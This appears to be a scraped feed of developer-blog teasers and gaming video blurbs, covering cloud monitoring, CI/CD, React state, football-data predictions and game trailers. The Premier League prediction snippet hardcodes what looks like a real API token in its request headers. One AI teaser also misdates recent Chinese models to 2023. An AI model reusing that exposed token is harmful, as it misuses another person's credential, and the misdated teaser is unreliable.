    Over the week, I built a new project for my portfolio. The purpose of this project is to demonstrate my opinionated approach to developing a cost-optimized, autoscaling and compliant alert monitoring system in the cloud. Simply, it's a system that monitors temperature sensors from warehouses and commercial vehicles, sends alerts and maintains records for compliance. Pharmaceutical manufactures loose a lot of money by not being able to stay compliant and losses due to discarding merchandise that were exposes to unsafe temperatures. Temperature excursions can make medication and other chemical products ineffective or even dangerous. It's serious. This means that if someone isn't tracking the temperature of your medication, you can end up getting a bad batch that may cause a negative reacti…  ( 9 min )
    Design Patterns by Purpose: Reuse (Part 2)
    🏭 The Factory Pattern – Creating Without Clutter You know the feeling. The feature works. No bugs. The data flows just right. You’re not pushing the PR yet — not quite. You’re gearing up for the next pass. That sculptor phase. You start scanning the code. Spotting the same kind of object, the same button setup, the same config shape — showing up again and again. You noticed it the first time, but back then, the goal was simple: make it work. Now it’s time to make it better. This is where reuse kicks in. The mantra shifts: Cleaner. Smarter. Reusable. You roll up your sleeves, ready to refactor. And weirdly? You’re excited. The bones are solid — now you’re shaping it into something elegant. The barebones house is becoming a piece of art. Think about visual page builders. No one’s wiring…  ( 7 min )
    Don't Expose Your IDs: An Introduction to Obfuskey in Python
    As developers, we often deal with integer IDs in our databases. They are simple, efficient, and great for internal use. But what happens when you expose these IDs to the outside world? A URL like your-app.com/post/1 followed by your-app.com/post/2 can give away a lot of information. It reveals the total number of posts, the rate at which new posts are created, and can even make it easier for malicious actors to scrape your data. You can find the full source code, documentation, and open an issue on the project's GitHub repository. Obfuskey on GitHub Exposing a sequential primary key is a common practice, but it's not without its drawbacks. When choosing a solution to obfuscate these IDs, developers often consider a few popular options. Here’s a look at how Obfuskey compares to some of the …  ( 7 min )
    Last Override — A 100% AI-Generated Sci-Fi Short Film I Created from Scratch
    🚨 Watch it here first →  ( 5 min )
    Scraping the Schema of NetSuite
    At work we are in the middle of a move to Fabric for reporting. We're looking at paying a vendor to import data from NetSuite, but I always like to have a backup plan in case an external dependency doesn't work out. We have grabbed some NetSuite data for reporting in the past, but we didn't use the best approach and ran into common issues with syncing data form NetSuite. (I may write about these issues in another post). I decided that this was a good opportunity to look at building a better solution. I don't want to have to type out SuiteQL queries for every piece of data I want to sync so I looked for a way to generate them. NetSuite doesn't seem to have an easily accessible API to get this data, but as always seems to be the case, Tim Dietrich had a post that acted as a good starting poi…  ( 6 min )
    Docmd: Markdown to Docs, No Bullshit Documentation Generator
    Writing documentation shouldn’t require a framework, a theme system, and a master's in YAML. Markdown is simple. So the output should be too. Docmd is a Node.js-based static site generator for documentation. It takes a folder of .md files and spits out a responsive HTML site — with themes, sidebars, nested components, the usual stuff — without touching React, Vue, or anything that thinks hydration is necessary to show text. Here’s the reality: Docusaurus is bloated. MkDocs is Python-based. Mintlify wants a subscription. GitHub’s own markdown rendering is mid. So I built something for developers who just want this: npm install -g @mgks/docmd docmd init That’s it. You get a working documentation site. Features (aka what actually works): Multiple themes (sky/ruby/retro) Nested custom containers: :::tabs, :::card, :::steps, etc. Sidebar config, breadcrumb, favicon, metadata, theme-modes GitHub Pages support Local dev server (docmd dev) Zero client-side JS frameworks (no React, no Bootstrap, no clutter) Built-in plugins (SEO, sitemap, GA) Pure markdown + YAML frontmatter - no templating drama Built For People Who: Write code, not content for marketing Prefer folders over CMSes Want to deploy docs to GitHub Pages without 30 extra steps Hate “init” scripts that install 200MB of dependencies Not For: People who want live search, Algolia (sorry dev.to team), or page transitions Anyone emotionally attached to React Marketing teams with a Figma addiction 🔗 docmd.mgks.dev @mgks/docmd github.com/mgks/docmd No setup wizard. No plugins just to get tabs. No weird templating syntax. Just markdown in → docs out. That’s the whole pitch.  ( 5 min )
    Networking Series 6: VPC Peering
    Introducing Today's Project! What is Amazon VPC? How I used Amazon VPC in this project One thing I didn't expect in this project The project took me around 35 minutes to complete. It involved setting up two VPCs, configuring a peering connection, updating route tables and security groups, and validating connectivity with ping tests. Step 1 - Set up my VPC Step 2 - Create a Peering Connection Step 3 - Update Route Tables Step 4 - Launch EC2 Instances I started my project by launching two VPCs Maven-1 and Maven-2, each with a unique CIDR block (10.1.0.0/16 and 10.2.0.0/16). I created one public subnet in each VPC using the AWS VPC Wizard and skipped NAT gateways to reduce cost and simplify setup. The CIDR blocks for VPCs 1 and 2 are 10.1.0.0/16 and 10.2.0.0/16. They have to be unique becau…  ( 8 min )
    Working on GPT-powered semantic monitoring with YAML templates & CLI tools
    Hi everyone! I’m building Rostral — an open-source semantic watcher that monitors websites, PDFs, and APIs using customizable templates and scalable pipelines. Why it matters Manually extracting insights from long documents and scattered feeds is slow. This tool gives GPT-powered summaries in one clean, unified stream Key features • CLI for semantic monitoring with YAML templates • Lightweight Flask UI for real-time aggregation • Recursive crawling from each source • Format support: PDF, JSON, HTML, RSS • GPT summaries for every event Use cases • Tracking court decisions and arbitral rulings • Monitoring academic research by topic • Following government publications • Watching API changes and data releases UX demo (static html) Source on GitHub Currently MVP: No multithreading yet — coverage blocks Flask. Looking for feedback, feature ideas, and contributors. Thanks for reading!  ( 5 min )
    GameSpot: THQ Nordic Digital Showcase 2025
    Get ready to dive into the THQ Nordic Digital Showcase 2025, where the publisher will roll out fresh updates and brand-new game announcements from every corner of its universe. Think exclusive trailers, developer insights, and surprise teases that’ll have your hype meter off the charts. Whether you’re a longtime fan or just curious about what’s next, mark your calendar and tune in for a virtual event packed with reveals, deep dives, and maybe a few unexpected cameos. This is the place to be for everything THQ Nordic! Watch on YouTube  ( 5 min )
    IGN: The Fantastic Four: First Steps - Official 'Hold On' Trailer (2025) Pedro Pascal, Vanessa Kirby
    The “Hold On” trailer launches us into a slick, 1960s-inspired MCU where Pedro Pascal’s Reed Richards, Vanessa Kirby’s Sue Storm, Joseph Quinn’s Johnny Storm, and Ebon Moss-Bachrach’s Ben Grimm form Marvel’s First Family. Between epic team-ups and family squabbles, they’re gearing up to defend Earth while trying not to burn lunch in the Baxter Building. Their big adversary? Galactus, the ravenous space god (Ralph Ineson), backed by his enigmatic Herald, the Silver Surfer (Julia Garner)—and when “saving the world” turns personal, things get even more intense. Directed by Matt Shakman, produced by Kevin Feige, and featuring Paul Walter Hauser, John Malkovich, Natasha Lyonne, and Sarah Niles, First Steps is now hitting theaters. Watch on YouTube  ( 5 min )
    IGN: No, Hideo Kojima Won't Be Playing Metal Gear Solid Delta Snake Eater - IGN Daily Fix
    Looks like Hideo Kojima is still salty with Konami – he’s flat-out refusing to play the upcoming Metal Gear Solid Δ: Snake Eater remake in a recent Ssense interview. Their fallout during Phantom Pain’s development clearly hasn’t been forgotten. In other news, Hollow Knight still hasn’t scored an official release date despite the Nintendo Partner Direct hype, though fans got a treat with a brand-new Octopath Traveler heading to all current-gen consoles. Watch on YouTube  ( 5 min )
    IGN: Donkey Kong Bananza - Every Forest Layer Fossil Location | Rare and Legendary
    Donkey Kong Bananza’s Forest Layer Fossil Rundown This guide uncovers all 72 fossils hidden in the Forest Layer—61 common, 10 rare and 1 legendary—complete with exact map markers. Hit 00:31 for a full fossil map, then zip through the timestamps (02:42–07:03) to snag each rare find and the ultimate legendary dig. Armed with these locations, you’ll unlock all the outfits for DK and Pauline in no time. Ready to fossil-hunt like a pro? Watch on YouTube  ( 5 min )
    IGN: Nicktoons & The Dice of Destiny - Official Extended Gameplay Reveal Trailer
    Nicktoons & The Dice of Destiny throws you into an action-packed RPG adventure alongside SpongeBob, Timmy Turner and other iconic Nickelodeon heroes. The extended gameplay reveal trailer showcases deep combat mechanics, an arsenal of weapons and spells, and signature superpowers as you blast through whimsical fantasy worlds. Launching September 30 on PlayStation 5, Xbox Series X|S, Nintendo Switch and PC (Steam/Epic Games Store), this Game Mill Entertainment title promises a nostalgia-fueled ride for Nick fans and RPG lovers alike. Watch on YouTube  ( 5 min )
    What My First 10 Users Taught Me About Pricing, Access, and Product-friction
    The first real users of a product aren’t just testers. They’re mirrors. Every drop-off, complaint, or upgrade hesitation reveals something that was missed. For Learnflow AI, I launched fast. Voice-first learning agents, powered by Vapi Convex as a real-time backend Kinde for auth, access, and pricing I had the scaffolding in place. Auth worked. Sessions were tracked. People could talk to AI tutors. But when the first 10 users came in, I realized: the code worked. The logic was solid. But the business layer? It was foggy. Friction was everywhere. Almost all of them stopped using it after their first try. No upgrades. No sessions beyond the free credits. Just one brief interaction... and silence. This post is about what happened next. It’s a breakdown of what I got right, what I got wrong, a…  ( 8 min )
    Who's hiring — August 2025
    Product engineers, Developer advocates, or Technical writers? If you're looking for a new opportunity in the dev tools space, this post is for you. Below are 21+ open roles in dev-first companies. Dub is hiring a Product Support Engineer #opensource Hackmamba is hiring a DevOps Technical Writer Magic Patterns is hiring a Product Engineer CodeRabbit is hiring a Developer Advocate Fern is hiring a Deployed Engineer Mocha is hiring a Founding Frontend Engineer Polar is hiring a Senior Product Engineer #opensource Poolside is hiring a Solution Engineer Sanity is hiring a Documentation Engineer Sourcegraph is hiring a Developer Advocate Speakeasy is hiring a DevRel Engineer Stack Auth is hiring a Founding Engineer #opensource Stytch is hiring a Content Engineer Supabase is hiring a Postgres Engineer #opensource SuperTokens is hiring a Technical Content Editor #opensource Tinybird is hiring a Software Engineer Wasp is hiring a Framework Engineer #opensource Zilliz is hiring a Developer Advocate #opensource Daytona is hiring a Dev Community Specialist #opensource Layercode is hiring a Developer Evangelist Mintlify is hiring a Product Engineer That's a wrap! If this helped, please add some ❤️🦄🤯🙌🔥 Every Sunday, I hand-pick open roles in the dev tools space and post them on Twitter / X and LinkedIn. Looking for more open roles? You can find my latest posts here. Build prototypes, get user feedback, and make data-driven decisions. Magic Patterns is the AI prototyping platform for product teams. Get started for free Who else's hiring? Is your company hiring? Please let me know! Reply here or send me a DM, and I'll make sure to add it to the next edition. See you next month — keep it up! 👋  ( 6 min )
    OpenAI’s Research Revolution: Leadership, Innovations, and the Road Ahead
    The landscape of artificial intelligence research is rapidly evolving, and at the forefront of this revolution is OpenAI, a trailblazer known for its commitment to advancing AI responsibly and innovatively. As excitement builds around the anticipated launch of GPT-5, the next-generation model that promises to redefine the boundaries of what AI can achieve, the world is keenly observing the vision and expertise of the researchers behind it. With OpenAI being valued at an astounding $300 billion and boasting a user base of over 400 million people submitting 2.5 billion prompts daily, the impact of its work is unquestionable. Researchers like Sam Altman, Mark Chen, and Jakub Pachocki are not only shaping the future of OpenAI's projects but are also providing insights into developing reasoning…  ( 14 min )
    Ambler: rules of engagement with coding agents
    I recently came across an interesting project called PocketFlow, which presents a minimalistic approach to building workflows that incorporate large language models. It is originally written in Python, a language I have never really used, so I attempted to port it to Kotlin to better understand how it works. As I progressed it became clear the project was simply a glorified state machine and it could be simplified even further. The result was Ambler: a very simple function and a very simple class definition that allow you to express a program as a series of steps that update the current state and pass it on to the next step. Nothing groundbreaking, but the power of this simplicity is that you can describe your application logically in plain English in a markdown document and then ask a c…  ( 6 min )
    Concordia: The Open-Source .NET Mediator You’ve Been Waiting For
    A Lightweight, Performant, and Compile-Time Optimized Alternative to MediatR In the world of .NET application development, the Mediator pattern has become an indispensable tool for achieving clean architecture, separation of concerns, and maintainable codebases. Libraries like MediatR have long been the go-to choice for implementing this pattern, facilitating Command Query Responsibility Segregation (CQRS) and Publish/Subscribe mechanisms. However, with recent shifts towards commercial licensing for some popular open-source projects, the community has begun seeking robust, freely accessible alternatives. This is where Concordia steps in. Concordia is a new .NET library designed from the ground up to be a lightweight, performant, and easily integrated solution for the Mediator pattern. It…  ( 11 min )
    I Deployed a .NET App Without DevOps Headaches — Here's How
    A few weeks ago, I started playing with Blazor — just a small side project to explore the framework. When the app started to look decent (thanks to MudBlazor), I figured: Why not put it online?” That's when I remembered how much I miss the old days of FTP and hitting Refresh. I didn’t want to set up Docker, Kubernetes, or a full CI/CD pipeline to deploy a simple .NET app. It took just a few commands to go from dotnet run to a live URL. No configs, no cloud dashboards, no DevOps drama. I wrote a whole post about the process (and how surprisingly smooth it was) — including: How to deploy a Blazor or .NET app to Fly.io What files get generated automatically Why I think we overcomplicate things sometimes And how to go from zero to online in 5 minutes 👉 Read the full article here: Hosting .NET Apps Without DevOps Drama  ( 5 min )
    ⚙️🚀Complete CI/CD Guide with YAML Pipelines (Azure DevOps, Jenkins, GitHub Actions)
    This guide will set you on the path to mastering Continuous Integration and Continuous Delivery/Deployment (CI/CD), covering key concepts, best practices, and real-world examples using popular tools such as Azure DevOps, Jenkins, and GitHub Actions. For more insights and to explore my other repositories or access this post in Portuguese, be sure to visit my GitHub profile at my GitHub. CI/CD (Continuous Integration / Continuous Delivery or Deployment) is a set of practices that automates software delivery, ensuring every code change is built, tested, and delivered quickly and reliably. Analogy: Think of a car factory **production line or an automated pizzeria: CI: Assembly + quality inspection (build and tests). CD: Delivering the product to the customer (deployment to staging or productio…  ( 8 min )
    Unlocking the Secrets to Production-Ready LLM Architectures: Overcoming Key Challenges
    In today's rapidly evolving digital landscape, mastering LLM architecture is no longer just an option; it's a necessity for any organization looking to maintain a competitive edge. As businesses increasingly harness the power of Generative AI to drive innovation, the challenge of building production-ready large language model (LLM) architectures has become a pressing concern. The AI regulation landscape and the necessity of machine learning governance have added another layer of complexity to these challenges. Achieving a robust and scalable architecture is fraught with difficulties, from understanding the multi-layered structure of prompt engineering to orchestrating model lifecycle governance effectively. The path to successful implementation is lined with hurdles such as ensuring data i…  ( 17 min )
    Valtio: The Proxy-Based State That Makes React State Management Feel Like Magic
    Why 92% of developers don't know about proxy-based reactivity and how it transforms React state management Your React app has grown into a maze: 47 components, a dozen different ways of handling state, and three competing methods for updating the same data. Redux handles global state, useState manages local bits, useContext shares data between components, and useReducer wrangles complex logic. Every update feels like a ritual—dispatch actions, write reducers, create selectors, wrap everything in providers. Nearly half of your development time is spent just keeping state in sync. Adding new features means understanding every one of these paradigms, and onboarding new devs? Weeks lost just untangling the state spaghetti. There’s a different path: proxy-based reactivity. By leveraging JavaScr…  ( 12 min )
    Unbelievable: China Dominates Top 10 Open-Source Models on HuggingFace
    Explore how Chinese AI models are reshaping the open-source landscape and what it means for global innovation and collaboration. In recent months, the landscape of open-source artificial intelligence (AI) models has witnessed a remarkable shift, with Chinese companies emerging as dominant players. As of July 2023, several prominent AI models developed by Chinese firms have surged in popularity on Hugging Face, a leading platform for sharing machine learning models. This trend raises important questions about the implications of such dominance in the global AI ecosystem and the future of open-source initiatives. The surge of Chinese-developed models began with the introduction of Kimi-K2, followed closely by Qwen3 and GLM-4. Other notable entries include Tencent’s HunyuanWorld and Alibaba’s…  ( 7 min )
    Predicting win probabilities of premier league teams based on last seasons performance using Python
    In this article, I'll delve into the world of football in an attempt to predict teams' winning chances based on last seasons performance. First I'll retrieve last season's standings from https://www.football-data.org/ API. import requests # Retrieving data from the API standings_url = "https://api.football-data.org/v4/competitions/PL/standings?season=2024" \ "" headers = { "X-Auth-Token": "827366ecd4ba47f1a7b9760f0da663d1" } response = requests.get(standings_url, headers=headers) standings_data = response.json() Next is to calculate the estimated probability of winning this season using number of games won, and number of games played. def win_probability(standings_data): teams_win_probabilities = [] table = standings_data["standings"][0]["table"] for row in table: …  ( 5 min )
    Chinese models pulling away
    As Chinese AI models surge ahead, their advancements redefine global competitiveness and reshape the future of technology. Recent advancements in artificial intelligence (AI) have positioned Chinese models at the forefront of technological innovation, significantly outpacing their Western counterparts. This shift has profound implications for global competitiveness, research collaboration, and the future landscape of AI applications. As highlighted in recent analyses, the rapid development of Chinese AI models is not merely a trend but a fundamental transformation in the technological arena. Chinese tech companies and research institutions have made remarkable strides in AI, particularly in natural language processing (NLP) and computer vision. According to a detailed analysis by IEEE Spec…  ( 7 min )
    Predicting Champions League Winner Using Python
    Project Background Venturing into Data Science this past few weeks has exposed me to various tools and concepts that can transform how we think about data, process it, and utilize insights to make decisions or form conclusions about a specific variable or element. Seeing how application programming interface (API) work was enlightening on the tools available for retrieving and making sense of data. The week's task was to extract data from https://www.football-data.org/ to determine the probabilities of each team in the Premier League winning the cup. The API nested in the site is a goldmine for football enthusiasts (I don't consider myself one) looking to scrape data and analyze matches and teams for various competitions across the major football leagues. Tools utilized during this exercises included: Python Libraries pandas (data manipulation) requests (for API calls) python-dotenv for secure API key handling) matplotlib and seaborn (visualizations) and scipy.stats (handling probability distributions) The code kicked off with setting up the libraries import requests Connecting to the /v4/competitions/PL/standings?season=2024 endpoint using the API key def calculate_win_probability_poisson(wins, played, remaining): A crucial insight gained from the exercise was the importance of using .env files to store API keys securely. These files are loaded via python-dotenv to enhance security by keeping sensitive data out of the public domain, where files are shared in public repositories.  ( 5 min )
    How I Landed a Spot in the Hall of Fame . My Open Source Journey with PrepNerdz
    I opened GitHub one morning and saw my face sitting next to the maintainer’s on a leaderboard. That’s when it hit me, I had been featured in the Top Contributors Hall of Fame for the PrepNerdz project. And that feeling? ⸻ 🤔 What’s PrepNerdz and Why Was I Even Contributing? I’m currently a student contributor aiming for GSSoC’25, and I’d been diving deep into open source,submitting PRs, reading issues, and trying to learn by doing. One of the repositories I came across was PrepNerdz, a full stack open platform helping students prep smarter. What stood out was how active and beginner-friendly it felt like the maintainers wanted you to contribute. I took that energy and ran with it. ⸻ 💻 What I Contributed I submitted two major pull requests to the project: Both PRs were: ⸻ 💥 The Hall of Fame Moment A few days later, I got tagged in this: Did I expect it? Not at all. ⸻ 🎓 What I Learned Along the Way I learned how to: ⸻ 🚀 Why This Matters (Beyond a Title) That little “Hall of Fame” card gave me more confidence than any certificate could. It reminded me that: You don’t have to be perfect to be valuable. ⸻ 💌 Final Words: If You’re a Beginner… Just start. You don’t need to be a 10x engineer. And maybe, just maybe… ⸻ 📌 Connect with me on GitHub: @Varnika060306 🔗 View the repo: PrepNerdz on GitHub  ( 6 min )
    Why Choose the MERN Stack Over a BaaS Like Firebase or Supabase?
    Introduction The MERN stack—comprising MongoDB, Express.js, React, and Node.js—is a full-stack JavaScript framework that gives developers complete control over both the frontend and backend of a web application. In contrast, BaaS platforms like Firebase and Supabase offer a pre-built backend with features like authentication, databases, and serverless functions, allowing you to focus primarily on the frontend. So, why opt for MERN when BaaS seems so convenient? Here are the key reasons: 1. Customization and Control With MERN, you have full control over your backend. You can design the database schema, implement custom business logic, and tweak server behavior to match your project’s exact needs. BaaS platforms, while user-friendly, often come with predefined structures and limited flex…  ( 7 min )
    Very helpful source for OSS lovers, go check it out!
    Lessons Learned Shipping My First OSS Project with Next.js + shadcn Ayberk ・ Jul 31 #opensource #ai #nextjs #machinelearning  ( 5 min )
    Distributed Tracing Instrumentation with OpenTelemetry and Jaeger
    Distributed tracing is a way to track a request as it moves through a system, especially in setups where multiple services talk to each other, like in microservices. Imagine a user clicking "buy" on an e-commerce site. That action might hit a front-end service, a payment processor, an inventory checker, a database and a Redis cache. If something goes wrong, figuring out where it failed can be a nightmare without a clear map. That’s where distributed tracing comes in. It’s like a GPS for your application, showing the path of a request across services, how long each step takes, and where things might break. Unlike logs, which are like diary entries of what happened, or metrics, which give you numbers like CPU usage, tracing gives you the full story of a request’s journey. It’s critical for …  ( 10 min )
    Creating PDFs from HTML + CSS in JavaScript: What actually works
    Developers often assume that generating a PDF from styled HTML is as simple as passing a DOM node to a library and hitting “download.” In reality, converting the dynamic, flowing nature of HTML and CSS into a static, print-ready PDF—all in the browser—comes with unexpected challenges. From missing CSS features to blurry image rendering and broken page breaks, browser-based HTML-to-PDF conversion is a minefield of workarounds and limitations. This article explores what actually works, which libraries are worth your time, and how to approach client-side PDF generation with realistic expectations. On the surface, it sounds simple: take the styled HTML your app already renders and save it as a PDF. But the moment developers try to do this client-side, reality hits hard. PDFs and HTML were neve…  ( 18 min )
    Electric Vehicle Software Development – A Comprehensive Guide
    Electric Vehicle Software Development – A Comprehensive Guide Electric Vehicles (EVs) are no longer a futuristic concept—they are today’s reality and tomorrow’s necessity. As the EV industry accelerates at a breakneck pace, the unsung hero behind this transformation is software development. From battery management systems to over-the-air updates and autonomous driving, software powers the EV ecosystem. In this guide, we’ll walk you through everything you need to know about Electric Vehicle Software Development—key components, challenges, trends, and how to build robust EV software solutions. What is Electric Vehicle Software Development? Electric Vehicle (EV) software development refers to designing, developing, testing, and maintaining software systems that control or enhance the performa…  ( 7 min )
    IGN: Marvel Tokon: Fighting Souls - Official Beginners Guide Overview
    Marvel Tokon: Fighting Souls is the upcoming Marvel fighting game by Arc System Works, and IGN’s Beginners Guide Overview walks you through the essentials: basic moves, Link Attacks, the Assemble Rush system and match cadence so you can keep the pressure on. Coming soon to PS5 and PC—plus playable at EVO 2025—this guide is your fast track to hitting the ground running and owning the competition. Watch on YouTube  ( 5 min )
    IGN: Exiledge - Official Gameplay Trailer
    Exiledge just dropped its China Joy 2025 gameplay trailer, and it looks wild. You play as Alter, navigating the ever-shifting Talos Towers—humanity’s last stand—wielding a variety of high-tech weapons and abilities to blast through mutated “Otherkin” hordes. Between the slick action and mysterious lore, you’ll piece together what caused the world’s collapse. Coming soon to PS5 and PC, this one’s shaping up to be a must-play for sci-fi shooter fans. Watch on YouTube  ( 5 min )
    IGN: THQ Nordic Digital Showcase 2025
    THQ Nordic is gearing up for a major Digital Showcase on August 1st at 12 PM PT, promising a jam-packed livestream full of fresh gaming news and surprises. Fans can look forward to deep dives on the Gothic 1 Remake, Titan Quest II, Reanimal and a handful of unannounced reveals. Don’t miss out on what might be one of the biggest gaming events of 2025! Watch on YouTube  ( 5 min )
    IGN: Battlefield 6 - Official Multiplayer Gameplay Reveal Trailer
    Battlefield 6’s Multiplayer Gameplay Reveal trailer gives you a front-row seat to the chaos: new weapons, gadgets, mechanics and epic environmental destruction await. Whether you’re storming the frontlines on foot or taking to the skies in a jet, the next installment from DICE, EA and Battlefield Studios promises fresh maps and modes to duke it out in style. Get ready to lock and load on October 10 when Battlefield 6 stomps onto consoles and PC, turning up the intensity in first-person action shooters. Watch on YouTube  ( 5 min )
    IGN: Battlefield 6 Multiplayer Gameplay: Full Conquest Match on Siege of Cairo
    Watch on YouTube  ( 4 min )
    IGN: Battlefield 6 Multiplayer Gameplay: Full Squad Deathmatch on Empire State
    Battlefield 6’s multiplayer has officially confirmed the return of Squad Deathmatch (a fancy rebrand of Team Deathmatch), and a full match demo on the freshly revealed Empire State map is now live. Expect non-stop, squad-versus-squad firefights across a sprawling urban playground. Fans get a front-row seat to how DICE is pushing next-gen visuals and gameplay, showcasing gritty subway tunnels, rooftop clashes, and the same frantic BF chaos we know and love. Watch on YouTube  ( 5 min )
    IGN: Battlefield 6 Multiplayer Gameplay: Domination on Iberian Offensive
    Battlefield 6 Multiplayer: Domination on Iberian Offensive Battlefield 6 just rolled out its flashy new map, Iberian Offensive, and it’s tailor-made for the classic Domination mode. In the latest IGN video, you’ll see intense urban skirmishes, rooftop snipes, and all the capture-and-hold action that fans love. Whether you’re storming narrow alleys or holding down chokepoints, Iberian Offensive adds fresh tactical twists—think winding streets that force sneakier flanks and surprise firefights around every corner. Strap in for chaotic teamplay and plenty of “did you see that?!” moments. Watch on YouTube  ( 5 min )
    IGN: Battlefield 6 - Official Combat, Classes, and Destruction Overview Trailer
    Battlefield 6 just dropped its Combat, Classes, and Destruction overview trailer—giving you the lowdown on four squad roles (Assault, Medic, Recon, Support) and how teamwork is the name of the game. On top of classic load-out tactics, the game introduces Tactical Destruction for strategic environment changes and a Drag & Revive mechanic to keep your squad alive. Mark your calendars: October 10 is when the mayhem begins! Watch on YouTube  ( 5 min )
    IGN: Battlefield 6 - Official Maps, Modes and Portal Trailer
    Battlefield 6 Maps, Modes & Portal Deep Dive Get hyped for nine massive maps—think Egypt, Brooklyn, Tajikistan and even a remixed Operation Firestorm from BF3—packed with infantry, tanks, choppers and jets. You’ll tear across classic modes like Conquest, Breakthrough and Rush, plus a fresh “Escalation” twist. On top of huge battles, there’s Team/Squad Deathmatch, Domination and King of the Hill, with more goodies dropping after launch. And Portal is back and beefed up, letting you build, share and jump into crazy custom experiences. Watch on YouTube  ( 5 min )
    IGN: The House of Tesla - Official Release Date Trailer
    The House of Tesla Release Date Trailer The team behind The House of Da Vinci is back with a brand-new puzzle-adventure that puts you in the shoes (and tweed jacket) of Nikola Tesla. The official trailer teases gorgeous handcrafted puzzles and a story that’ll whisk you through the inventor’s electrifying world. Mark your calendars for September 23, 2025—The House of Tesla lands on PC via Steam. Watch on YouTube  ( 5 min )
    Secret Life Of APIs: How your Apps talk Behind your Back
    What If Your Apps Had a Secret Life? Remember The Secret Life of Pets? That animated film where our adorable pets appear well-behaved in front of us, but throw chaotic house parties the moment we step out? Well, as it turns out, your apps aren't so different. Every time you scroll through Spotify, tap a heart on Instagram, or ask ChatGPT a question, there's a whole network of digital messengers working behind the scenes. They're responsible for fetching your data, analyzing your behavior, and delivering precise results. You don't see them, but they're there—moving fast, talking to different systems, making decisions on your behalf. These messengers are called APIs, and once you see them for what they are, you'll never look at apps the same way again. An API—short for Application Programm…  ( 9 min )
    Ditch the Repetition! Introducing @arr for Smart CSS with FSCSS
    Hey everyone! 👋 Ever find yourself writing the same CSS properties over and over for different elements? Or manually creating nth-child rules for a series of items? There's a smarter way! I wanted to share a super-handy feature from FSCSS that's a game-changer for writing clean, efficient styles: the @arr array declaration. @arr? It's a simple, powerful way to declare and reuse lists of values directly in your CSS. Think of it as a variable for a series of values—perfect for colors, spacings, font stacks, or any repeatable pattern. 🔧 The Basic Syntax @arr(arrayName[value1, value2, value3,...]) You can then use it in some ways: @arr.arrayName[]: Iterates through the values, perfect for applying a different value to each element in a sequence. @arr.arrayName(separator): Expands all valu…  ( 6 min )
    TrixaHub.com – Free Tools for Devs, Designers, Creators, and Curious Minds
    Hey Dev Community! 👋 Ever found yourself: Trying to compress an image to under 100KB for a form submission? Looking for a clean way to visualize CSV data? Copy-pasting messy text and needing to remove duplicate lines or extra spaces? Quickly calculating someone's BMI or age in seconds? I did. Cluttered websites Annoying ads Downloading random apps "Upgrade to premium" popups So, I built TrixaHub.com – a collection of fast, free, no-login utility tools built for speed and simplicity 💡 🛠️ Tools You Can Use Right Now 🔹 Color Picker Tool Pick any color from an image, get HEX/RGB/HSL values instantly. 🔹 Image Compressor Compress images to specific sizes: 🔹 CSV to Table Viewer Paste your CSV, get a neat, readable table instantly. 🔹 Duplicate Line Remover Clean up your data, code, or blog drafts in one click. 🔹 Extra Space Remover Format paragraphs or JSON blobs with messy spacing — fast. 🔹 Percentage, Age, BMI Calculators 🔹 Strong Password Generator Create secure passwords (8–20+ chars) with copy support and strength rating. ...and many more tools getting added every week 🚀 ✅ Why I Built It I wanted something: Clean Fast Mobile-friendly Focused on utility over complexity With no signups, no cookies popups, no distractions Everything is built with ❤️ using HTML, TailwindCSS, JS (no frameworks), and hosted on a lightweight, fast server. 🔗 Try it now: **https://trixahub.com/** Your feedback, stars, suggestions, and reblogs are welcome! Let’s make the web a little more useful, one small tool at a time. 🙌  ( 6 min )
    How Scaling AI is Driving a New Energy Crisis: Are We Prepared?
    As the world becomes increasingly digital, the scaling of software applications has brought about a quantum leap in their energy demands. The advent of complex architectures—from traditional monolithic systems to modern AI-driven models—has significantly escalated the energy consumption divided among these technologies. With this growth in complexity comes the challenge of ensuring sustainability; as highlighted by the topic of Energy Consumption in Software Development, it is crucial to address the rising energy footprint of software solutions. The demands for computational power and vast datasets are pushing the boundaries of energy consumption, presenting an urgent dilemma for developers and organizations alike. Not only must software systems be capable of handling impressive volumes of…  ( 14 min )
    Building a Mailbox Pattern in Spring Boot to Decouple Your Application Layers
    Introduction Imagine how you drop a letter in a mailbox and the postman picks it up later. You don’t wait at the box for delivery to happen. Similarly, the Mailbox Pattern in a Spring application allows you to accept incoming tasks instantly, drop them into a queue, and let a background thread process them later. This makes your application faster, more scalable, and loosely coupled. Use Case A Mailbox Pattern helps solve this by: 📨 Receiving the task 📥 Putting it into a mailbox (queue) 🛠️ Processing it in a background worker Architecture +------------+ +-------------+ +-------------+ | REST API | | Mailbox | | Worker | | Controller | -----> | (Queue) | -----> | Thread/Task | +------------+ +-------------+ +-------------+ Tech St…  ( 7 min )
    Indexes in MySQL: How long do you wait before calling an index "unused"?
    For anyone dealing with MySQL/MariaDB performance: unused indexes are silent resource drains. They consume memory, slow down writes, and the optimizer still has to consider them. From what I've seen in production, different teams have different periods to classify an index as unused: Some teams check after 30 days of non-use Others wait until performance issues surface (risky) A few go aggressive with 7-14 day windows I wonder, how long do you wait before calling an index "unused"?  ( 5 min )
    AI Agents for DevOps: Architect, Deploy, and Automate Like a Pro — Book Launch
    The future of DevOps isn’t just automation—it’s autonomy powered by AI agents. Why This Book Matters AI-driven applications Vector databases and GPU workloads Autonomous deployment decision-making AI agents are becoming the invisible layer connecting data, code, and infrastructure. This book helps DevOps engineers and architects understand and implement these concepts from day one. What You’ll Find in Part 1 AI Infrastructure Stack AI Agent Architectures & Protocols Hands-On Labs Community Access What You Get Beyond the Book Free Future Updates: Get video solution walkthroughs and advanced content updates by August 25, 2025. Who Should Read This SREs and Platform Engineers managing AI-powered workloads AI/ML Engineers looking for infrastructure insights Tech Leads exploring autonomous DevOps systems If your work touches cloud, automation, or AI in any way—this book is your starting point. Get Your Copy AI Agents for DevOps on Gumroad] 👉 [Free Quick Summary PDF] Final Thoughts Let’s build the future of autonomous, intelligent DevOps systems together. See you inside the book and our growing community.  ( 6 min )
    Getting Started with AWS Auto Scaling: Automatically Handle Your EC2 Load Like a Pro
